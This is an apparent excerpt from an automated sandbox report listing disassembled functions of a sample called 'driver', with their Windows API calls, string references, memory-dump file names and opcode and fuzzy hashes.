s$@, xrefs: 0042EA99

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: Z9C$s$@$tXD$wXD$yXD
API String ID: 0-3548953843
Opcode ID: 775d22441288ac35e507aa7cb76bd35d30fe7675d468933928b6d0937d4f8146
Instruction ID: 72c2496d5d1c3047a3b4ff6991fe7b487862a9e99cb8282eef049bb63910b261
Opcode Fuzzy Hash: 775d22441288ac35e507aa7cb76bd35d30fe7675d468933928b6d0937d4f8146
Instruction Fuzzy Hash: A2310931B0021597DF10A66BAC817AE77A4AF48314F54427BF905DB392EB7CDD0192AD

Function 0043E5F8 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 095d08c07c59d3c5da87e6cee6595dc3030dc454551f46ac6d716b1048195550
Instruction ID: 41ecbb4ca7572e08e3c5baa7d394ff573a8b86dc351530b4d07c623f0171db5c
Opcode Fuzzy Hash: 095d08c07c59d3c5da87e6cee6595dc3030dc454551f46ac6d716b1048195550
Instruction Fuzzy Hash: 1D518534A01209EFDB20CF96C881BAE7775EF49315F20A76AF5214B2D0C7789D45CB59

Function 004409C8 Relevance: 6.0, APIs: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,00000002,?,00000000,?,?,00440B9A,00000000,?,?), ref: 004409E8

Part of subcall function 00440978: GetLocalTime.KERNEL32 ref: 0044097C
Part of subcall function 00440978: wsprintfA.USER32 ref: 004409B5

WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,C0000000,00000000,00000000,00000002,00000080,00000000,00000002,?,00000000,?), ref: 00440A0A
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,C0000000,00000000,00000000,00000002,00000080), ref: 00440A1F
CloseHandle.KERNEL32(00000000,00000000,?,00000000,?,00000000,00000000,00000000,00000000,?,00000000,?,C0000000,00000000,00000000,00000002), ref: 00440A25

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$Write$CloseCreateHandleLocalTimewsprintf
String ID:
API String ID: 893966949-0
Opcode ID: 6c03d1a197c17bd2975eadfa41d64bd020091b43e01215dfefb441dd93727a68
Instruction ID: e0d91f8e7a7282df01ac802fb6c210701cf6f9cb657dab4fe0fdf4963d7966fa
Opcode Fuzzy Hash: 6c03d1a197c17bd2975eadfa41d64bd020091b43e01215dfefb441dd93727a68
Instruction Fuzzy Hash: 82F0B47624030479F6206AA69C47FAF635CDB41B69F20411FF700EA1C2DDB8BE0052BC

Function 0040C254 Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000080), ref: 0040C2B7
SetPriorityClass.KERNEL32(00000000,00000080), ref: 0040C2BD
GetCurrentThread.KERNEL32 ref: 0040C2C3
SetThreadPriority.KERNEL32(00000000,?,00000000,00000080), ref: 0040C2C9

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: 9adaa23843f83776365ddf4ea9c028b510f169b5d1555b87a753a2b529a3ae24
Instruction ID: 725f8c2a54f69a1cfa43e73041d518ec7de461b947ccab1dfd91e1af0daa9fd6
Opcode Fuzzy Hash: 9adaa23843f83776365ddf4ea9c028b510f169b5d1555b87a753a2b529a3ae24
Instruction Fuzzy Hash: 48F06DA6D01A10D7EA2457D188C436E5148D716325F224BBFFE00FBED2C63C9D46229E

Function 00433CA8 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 28sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388,0043395A,?,004013E2), ref: 00433CCD

Strings

%s, xrefs: 00433D00
Z9C, xrefs: 00433CEA
%s, xrefs: 00433CE5

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Sleep
String ID: %s$%s$Z9C
API String ID: 3472027048-3223552781
Opcode ID: 2af2a1dd3f8674b443f0e955cb2157b9cf72ae222a0a6e457d8e7386cbbc7e58
Instruction ID: 37229b61aa5b5c3d6606c677752a86966b3e12c9ab471f6eebddaa0ac6a61d92
Opcode Fuzzy Hash: 2af2a1dd3f8674b443f0e955cb2157b9cf72ae222a0a6e457d8e7386cbbc7e58
Instruction Fuzzy Hash: 13E06561A8438836FF417B927C03FD93B588B5470EF58106BBD04285D3E5AD56ACC6AE

Function 00430484 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00403234: CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,?,00000000,?,004521B1,?), ref: 004032A8
Part of subcall function 00403234: GetLastError.KERNEL32(?,80000000,?,00000000,00000003,?,00000000,?,004521B1,?), ref: 004032CD

SetFileTime.KERNEL32(?,?,?,?,00000001,00000001,00000001), ref: 004307E1

Strings

:, xrefs: 004305A0
5, xrefs: 004304FB

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$CreateErrorLastTime
String ID: 5$:
API String ID: 249741611-3926247037
Opcode ID: dfadf1652010161301e6d15ea1ce0ab0c23aea3dcfd49f330bc9b3760c845179
Instruction ID: 4845a81e12bbf0b32647cbe69b9c61398cc85db51134d799cda93aa8c09b75e8
Opcode Fuzzy Hash: dfadf1652010161301e6d15ea1ce0ab0c23aea3dcfd49f330bc9b3760c845179
Instruction Fuzzy Hash: 1391D4B09001185BEB24EB15CC91BDDB3AAAF48304F4451FFA408A6686DB7D9F858F69

Function 00439D0C Relevance: 5.5, Strings: 4, Instructions: 464COMMON

Download Yara Rule

Strings

Version: , xrefs: 00439FFB
VersMax: , xrefs: 0043A015
70c2441db366d92ea7be1342b3bf629026ba92bb675f06e684bdd34511097434, xrefs: 00439D25, 0043A24A, 0043A2B7
DateMax: , xrefs: 0043A0F0

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: 70c2441db366d92ea7be1342b3bf629026ba92bb675f06e684bdd34511097434$DateMax: $VersMax: $Version:
API String ID: 0-1288699373
Opcode ID: dc30aa06cff3b0bb0f8a943b396716dad7f56885c2d609f38a60ac2c241e0948
Instruction ID: 1c9193dc80b18c5e58fb678d6dce924cb39240d5dec4d5f18c6a20b905f4f5fc
Opcode Fuzzy Hash: dc30aa06cff3b0bb0f8a943b396716dad7f56885c2d609f38a60ac2c241e0948
Instruction Fuzzy Hash: C7F14871F001544AEB24E675DC827AF72A59B4C304F10A4BFE549E73C2EA7C8D498B6E

Function 0042FCC4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

SetFileSecurityW.ADVAPI32(00000000,00000007,?), ref: 0042FECC
SetFileSecurityA.ADVAPI32(?,00000007,?), ref: 0042FED6

Strings

5, xrefs: 0042FD40

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileSecurity
String ID: 5
API String ID: 200422441-2226203566
Opcode ID: 459ad0123a4c5932ca0865aefd334dac9fb4138fa3e4ac8cb9922e3e3759849d
Instruction ID: f6f05adc8cf9644d354ba94de0d3d4a3b0664c5a0b6203370b4da1046e5ca92a
Opcode Fuzzy Hash: 459ad0123a4c5932ca0865aefd334dac9fb4138fa3e4ac8cb9922e3e3759849d
Instruction Fuzzy Hash: E551E770A001185BEB14EB56DC417EE77B9DF44305F9440BBE808A7786D77C4E498B7A

Function 0042BE18 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158COMMON

Download Yara Rule

APIs

OemToCharBuffA.USER32(?,?,00000001), ref: 0042BFA9

Strings

}UD, xrefs: 0042BF09
[%c]%s, xrefs: 0042BF75

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: BuffChar
String ID: [%c]%s$}UD
API String ID: 1973267554-1516837986
Opcode ID: 3389422e9aef64cf0ec7c6d0df8c3b484bdb001f71b349061f313581f3e838c5
Instruction ID: 510f4d794767f9334348231c8ed56aab172dc915568590adeb515da15b521e0b
Opcode Fuzzy Hash: 3389422e9aef64cf0ec7c6d0df8c3b484bdb001f71b349061f313581f3e838c5
Instruction Fuzzy Hash: 5351F371B001299FDF10DFA4E981AFEB7B1EF45304FA540AAE841E7241D738AE05CB99

Function 004124EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

APIs

OemToCharA.USER32(?,?), ref: 004126CC
OemToCharA.USER32(?,?), ref: 004126DF

Strings

70c2441db366d92ea7be1342b3bf629026ba92bb675f06e684bdd34511097434, xrefs: 0041267E

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Char
String ID: 70c2441db366d92ea7be1342b3bf629026ba92bb675f06e684bdd34511097434
API String ID: 751630497-3642216007
Opcode ID: 50197230611323f188a59b081da6dfcc7ca684aa2b05d9f08a318f6d9ea1719c
Instruction ID: 74d08faa7013e07f68db9aebc306b473f36de9555eb39a2d73e24c7d42801b46
Opcode Fuzzy Hash: 50197230611323f188a59b081da6dfcc7ca684aa2b05d9f08a318f6d9ea1719c
Instruction Fuzzy Hash: CD51E871E0011C5ACB14DF65CD807DDB7B9AF84304F4440FEA509A7282EB795B59CBA9

Function 004051A8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00404404: GetFileAttributesW.KERNEL32(00000000,?,00000000,00402061), ref: 0040441E

MoveFileA.KERNEL32(?,?), ref: 004052EA

Part of subcall function 00404404: GetFileAttributesA.KERNEL32(?,?,00000000,00402061), ref: 00404430

MoveFileA.KERNEL32(?,?), ref: 0040532C

Part of subcall function 004033B0: CreateFileW.KERNEL32(00000000,C0000000,?,00000000,00000002,00000000,00000000,?,004521B1,?,00000000,?,0042B7EF,00000001,00000001,00000000), ref: 004033F6

Strings

rtmp%d, xrefs: 0040526F

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$AttributesMove$Create
String ID: rtmp%d
API String ID: 1144019292-3303766350
Opcode ID: 85569995319dce5060edc5f1184e7ff41ed11f3963df9e10af7cb1ffa6f324a7
Instruction ID: f731214ef729a98cf50258c2d9082a8097f105d951df142f1ff17ff3f9ded5b2
Opcode Fuzzy Hash: 85569995319dce5060edc5f1184e7ff41ed11f3963df9e10af7cb1ffa6f324a7
Instruction Fuzzy Hash: DF419770A0451856DB10F6268C826EF63ADDF84348F4441BBA909F72D3EB7C9F868E5D

Function 0043C780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

TAD, xrefs: 0043C81D, 0043C826
Stack Overflow!, xrefs: 0043C7D0

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: Stack Overflow!$TAD
API String ID: 0-829875665
Opcode ID: 61cd0669aca0ca3012c091fdfdb21cbb0fe9b456f5e6941196284b0d1e2dc8a4
Instruction ID: 774899ebf6fdde59749c2ba383c9a4f0c5e482e88e25842834d42f22d6697c9a
Opcode Fuzzy Hash: 61cd0669aca0ca3012c091fdfdb21cbb0fe9b456f5e6941196284b0d1e2dc8a4
Instruction Fuzzy Hash: C52168706003059BEB24AF199CCAF6B3768EB49716F24646BF901A6341D378DE40CF6E

Function 00440978 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0044097C
wsprintfA.USER32 ref: 004409B5

Strings

%02d/%02d/%04d %02d:%02d:%02d.%03d , xrefs: 004409AB

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: LocalTimewsprintf
String ID: %02d/%02d/%04d %02d:%02d:%02d.%03d
API String ID: 1577811021-3388318165
Opcode ID: 6ae8d3f423879c121ef3ca7a6f8db056c1573f6fda93804a97da499959c67a4e
Instruction ID: 82202b0b7452ad4c034c5aed5685f3df0c6aa7035818c04aa1022bb1e28d9b99
Opcode Fuzzy Hash: 6ae8d3f423879c121ef3ca7a6f8db056c1573f6fda93804a97da499959c67a4e
Instruction Fuzzy Hash: 50E0ED9244CA217592549F8A9C0193FB1E8AA9CF16F44490EB9D4801C1F66C8588D33A

Function 0043AC30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(borlndmm), ref: 0043AC35

Strings

hrdir_b.c: LoadLibrary != mmdll borlndmm failed, xrefs: 0043AC42
borlndmm, xrefs: 0043AC30

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: LibraryLoad
String ID: borlndmm$hrdir_b.c: LoadLibrary != mmdll borlndmm failed
API String ID: 1029625771-3092248643
Opcode ID: e609428960b1e67b3dd4e0920e4bc15147474a806fb4b3e83ddb781278b57c1f
Instruction ID: 9ef907cef298a5f48068758fbe660e1f2e201434e3560d444126cc25e800b247
Opcode Fuzzy Hash: e609428960b1e67b3dd4e0920e4bc15147474a806fb4b3e83ddb781278b57c1f
Instruction Fuzzy Hash: BCB09211280B80A22C16FBD16A53E1812529406B1AB3A655BE20278592CA6C6160642F

Function 00423794 Relevance: 5.2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

Strings

6+, xrefs: 00423819
{+, xrefs: 004237D4
-, xrefs: 00423868
U+, xrefs: 004237FA

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: 6+$U+${+$-
API String ID: 0-761993229
Opcode ID: 6ccefe3c331d89a266026245696727eb2731b3dc271b72b9b112b739b20133a4
Instruction ID: 77c8bb31205e7dde418d08497f083ca2a0db9e0b4aa1d109e8f2e105958d864c
Opcode Fuzzy Hash: 6ccefe3c331d89a266026245696727eb2731b3dc271b72b9b112b739b20133a4
Instruction Fuzzy Hash: C191B470A001689BDB14EB55D846BDDB3B5AF44314F9480FBE80867282CB7C9BC9CF59

Function 00402248 Relevance: 5.2, Strings: 4, Instructions: 169COMMON

Download Yara Rule

Strings

sfx, xrefs: 00402295
1, xrefs: 004022F6
.rar, xrefs: 00402265
exe, xrefs: 00402284

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: .rar$1$exe$sfx
API String ID: 0-1629913614
Opcode ID: cdd4b0b221cfccd45ebc4903eda97a3f603e1b902fe13b6ce9385f921d6098f8
Instruction ID: d904b7ce0f0c143f510481f6db376524699b32d3ec7583a25f69ba2163b91b0d
Opcode Fuzzy Hash: cdd4b0b221cfccd45ebc4903eda97a3f603e1b902fe13b6ce9385f921d6098f8
Instruction Fuzzy Hash: 9151682060829117CF19A6798EC976E67D45F1A308F1840FFE980EB3C6EBBCC941D25D

Function 0043E490 Relevance: 5.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4c51ce3396af3583672ad144851fa655ebbdfaf580551f12a2cba1dd21f00b
Instruction ID: e564be4936fc43f24d6607c180f2e8c20570b753eeefdc078b0797d6f9d7bd1a
Opcode Fuzzy Hash: 4c4c51ce3396af3583672ad144851fa655ebbdfaf580551f12a2cba1dd21f00b
Instruction Fuzzy Hash: 2931B63070A206FBDB118EAACD40B7736A4DB5D728F34662BF515873D1E6B8EC028759

Function 00426904 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

%s, xrefs: 004269DF
PD, xrefs: 0042691B
/ %s, xrefs: 004269CC
, xrefs: 0042699B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: %s$ $ / %s$PD
API String ID: 0-1899437327
Opcode ID: b06d16e2630d02eb3155889febcb3b8f22691344f76d3e0675e5c106cf02d1ab
Instruction ID: b8dd3f58c3d4ee07893ec4eaa9adbb6506a316676a7e205f1c04ff76f97562e9
